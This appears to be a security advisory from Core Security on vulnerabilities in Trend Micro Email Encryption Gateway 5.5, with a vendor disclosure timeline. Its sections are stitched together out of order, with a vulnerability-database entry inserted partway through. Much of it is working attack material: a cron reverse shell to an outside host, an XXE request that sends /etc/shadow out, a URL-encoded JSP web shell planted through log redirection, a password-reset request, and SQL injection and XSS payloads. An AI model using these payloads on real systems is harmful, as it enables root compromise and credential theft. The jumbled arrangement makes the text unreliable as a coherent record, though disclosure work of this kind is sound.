onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201803-1794 | CVE-2018-6229 | Trend Micro Email Encryption Gateway In SQL Injection vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: MEDIUM |
A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 edit policy script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the formEditPolicy class. When parsing the editRuleId parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The vulnerability is caused by the fact that the program does not filter the 'hidRuleId' parameter in the editPolicy.jsp script. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
